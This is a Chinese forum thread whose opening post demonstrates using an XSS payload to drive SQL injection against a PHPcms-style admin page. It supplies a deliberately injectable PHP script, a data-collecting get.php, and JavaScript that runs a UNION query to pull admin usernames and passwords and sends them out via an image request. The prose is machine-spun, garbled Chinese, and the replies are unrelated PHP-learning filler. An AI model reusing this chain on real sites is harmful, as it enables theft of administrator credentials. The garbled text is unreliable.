仓酷云

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 885|回复: 19
打印 上一主题 下一主题

[学习教程] PHP网页设计PHPcms使用xss履行sql注入

[复制链接]
海妖 该用户已被删除
跳转到指定楼层
楼主
发表于 2015-2-3 23:30:40 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
在学习HTML中我想边学边做是最有效的方式,当然这一方式对于学习PHP同样是最有效的。    昨天看见phpcms v9.1.15爆的xss和无权限的sql注入,因而就想测试下使用xss履行sql注入,固然爆的这个phpcms破绽还有良多其他的用法!然而,这个注入我没有找到phpcms v9.1.15测试,其他版本都没有测试胜利!
因而乎我只要设想下一个极端情况:
1.前台有且只要一个xss破绽(不克不及获得办理员cookie)
2.后台有且只要一个sql注入破绽(注入破绽文件只要办理员可以会见)
3.注入取得办理员暗码可解密
4.除以上无其他任何破绽(包含后台getwebshell)  其实我就是想说,咱们只可以使用这个xss履行注入!

摹拟注入破绽代码
   

  • sqli.php
    01     <?php
    02      @error_reporting (E_ALL & ~E_NOTICE & ~E_WARNING);//毛病疏忽
    03      $con = mysql_connect("localhost","root","");
    04      if(!$con) {die('Could not connect: ' . mysql_error());}
    05      mysql_select_db("test",$con);
    06      $id = $_GET['xss'];
    07      $sql = "select id,realname from test where id="."$id";
    08      $view = mysql_query($sql);
    09      $row = mysql_fetch_array($view);
    10      echo $row[id]."<br />";
    11      echo $row[realname]."<br />";
    12     ?>
   

  • mysql数据库:
    1     database:test
    2     table:test、admin
    3     column:test.id、test.realname
    4                  admin.id、admin.username、admin.password
   

  • get.php(获得的注入后数据截取)
    1     <?php
    2      $file = fopen("data.txt","a");
    3      fwrite($file,$_GET['get']);
    4      fclose($file);
    5     ?>
   

  • xsssqli.js(payload)
    01     function addLoadEvent(func)//窗口翻开加载多个函数
    02     {
    03      var oldfunc=window.onload; //页面翻开是加载办法
    04         if(typeof(window.onload)!="function")
    05         {
    06          window.onload=func;
    07         }
    08         else
    09         {
    10          window.onload=function()
    11          {
    12           oldfunc();
    13           func();
    14           }
    15          }
    16     }
    17     function get_xsssqli()
    18     {
    19      var url = "http://127.0.0.1/xss/sqli.php?xss=1%20and%201=2%20union%20select%20username,password%20from%20admin";
    20      var ajax = null;
    21      if(window.XMLHttpRequest)
    22      {
    23       ajax = new XMLHttpRequest();
    24      }
    25      else if(window.ActiveXObject)
    26      {
    27       ajax = new ActiveXObject("Microsoft.XMLHTTP");//ie6和一下老版本
    28      }
    29      else
    30      {
    31       return;
    32      }
    33      ajax.open("GET", url, true);
    34      ajax.send(null);
    35      ajax.onreadystatechange = function()
    36      {
    37       if(ajax.readyState == 4 && ajax.status == 200)
    38       {
    39        var img = document.createElement("img");
    40        img.src = "http://127.0.0.1/xss/get.php?get="+ajax.responseText;
    41        document.body.appendChild(img);
    42       }
    43      }
    44     }
    45     addLoadEvent(get_xsssqli);
   

  • 摹拟xss破绽
    1     <html>
    2      <head>
    3       <title>use xss to sqli</title>
    4      </head>
    5      <body>
    6      <script src=http://127.0.0.1/xss/get.js ></script>
    7      </body>
    8     </html>

最初胜利失掉数据:



固然你也能够写个正则截获指定命据!   来自:http://superman.php100.com/ 一些真正的强人总会搞出新玩意来丢给你,你不学就落后了,也印证了前人的经验,果然是学无止境啊!
再见西城 该用户已被删除
沙发
发表于 2015-2-4 00:05:22 | 只看该作者
做为1门年轻的语言,php一直很努力。
兰色精灵 该用户已被删除
板凳
发表于 2015-2-9 07:50:17 | 只看该作者
Apache不是非得用80或者8080端口的,我刚开始安得时候就是80端口老占用,就用了个 81端口,结果照常,就是输localhost的时候,应该输入为 localhost:81
乐观 该用户已被删除
地板
发表于 2015-2-9 15:40:53 | 只看该作者
再就是混迹于论坛啦,咱们的phpchina的论坛就很强大,提出的问题一般都是有达人去解答的,以前的帖子也要多看看也能学到不少前辈们的经验。别的不错的论坛例如php100,javaeye也是很不错的。
简单生活 该用户已被删除
5#
发表于 2015-2-27 08:49:10 | 只看该作者
我还是强烈建议自己搭建php环境。因为在搭建的过程中你会遇到一些问题,通过搜索或是看php手册解决问题后,你会更加深刻的理解它们的工作原理,了解到php配置文件中的一些选项设置。
若天明 该用户已被删除
6#
发表于 2015-3-6 21:05:55 | 只看该作者
这些都是最基本最常用功能,我们这些菜鸟在系统学习后,可以先对这些功能深入研究。
因胸联盟 该用户已被删除
7#
发表于 2015-3-11 12:09:56 | 只看该作者
爱上php,他也会爱上你。
小妖女 该用户已被删除
8#
发表于 2015-3-18 10:17:15 | 只看该作者
对于初学者来说不推荐去拿钱买的。当然如果一个网站你经常去用,而且里面的资料也比较有用,最好还是买个会员比较好,毕竟那些也是别人的工作成果。
柔情似水 该用户已被删除
9#
发表于 2015-3-22 19:27:57 | 只看该作者
当留言板完成的时候,下步可以把做1个单人的blog程序,做为目标,
变相怪杰 该用户已被删除
10#
发表于 2015-3-25 03:29:49 | 只看该作者
首先我是坚决反对新手上来就用框架的,因为对底层的东西一点都不了解,造成知识上的真空,会对以后的发展不利。我的观点上手了解下框架就好,代码还是手写。当然啦如果是位别的编程语言的高手的话,这个就另当别论啦。
只想知道 该用户已被删除
11#
发表于 2015-4-1 11:11:09 | 只看该作者
环境搭建好,当你看见你的浏览器输出“it works\\\\\\\"时你一定是喜悦的。在你解决问题的时候,我强烈建议多读php手册。
山那边是海 该用户已被删除
12#
发表于 2015-4-4 07:54:55 | 只看该作者
开发工具也会慢慢的更专业,每个公司的可能不一样,但是zend studio是个大伙都会用的。
13#
发表于 2015-4-17 06:12:27 | 只看该作者
本人接触php时间不长,算是phper中的小菜鸟一只吧。由于刚开始学的时候没有名师指,碰过不少疙瘩,呗很多小问题卡过很久,白白浪费不少宝贵的时间,在次分享一些子的学习的心得。
蒙在股里 该用户已被删除
14#
发表于 2015-4-21 10:38:09 | 只看该作者
爱上php,他也会爱上你。
飘灵儿 该用户已被删除
15#
发表于 2015-4-26 00:42:11 | 只看该作者
我要在声明一下:我是个菜鸟!!我对php这门优秀的语言也是知之甚少。但是我要在这里说一下php在网站开发中最常用的几个功能:
冷月葬花魂 该用户已被删除
16#
发表于 2015-5-4 10:34:56 | 只看该作者
我要在声明一下:我是个菜鸟!!我对php这门优秀的语言也是知之甚少。但是我要在这里说一下php在网站开发中最常用的几个功能:
透明 该用户已被删除
17#
发表于 2015-5-8 12:10:19 | 只看该作者
,熟悉html,能用div+css,还有javascript,优先考虑linux。我在开始学习的时候,就想把这些知识一起学习,我天真的认为同时学习能够互相呼应,因为知识是相通的。
分手快乐 该用户已被删除
18#
发表于 2015-5-11 00:24:38 | 只看该作者
开发工具也会慢慢的更专业,每个公司的可能不一样,但是zend studio是个大伙都会用的。
莫相离 该用户已被删除
19#
发表于 2015-5-12 15:28:16 | 只看该作者
当留言板完成的时候,下步可以把做1个单人的blog程序,做为目标,
谁可相欹 该用户已被删除
20#
发表于 2015-6-29 20:53:29 | 只看该作者
真正的方向了,如果将来要去开发团队,你一定要学好smarty ,phplib这样的模板引擎,
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|仓酷云 鄂ICP备14007578号-2

GMT+8, 2024-6-16 07:03

Powered by Discuz! X3.2

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表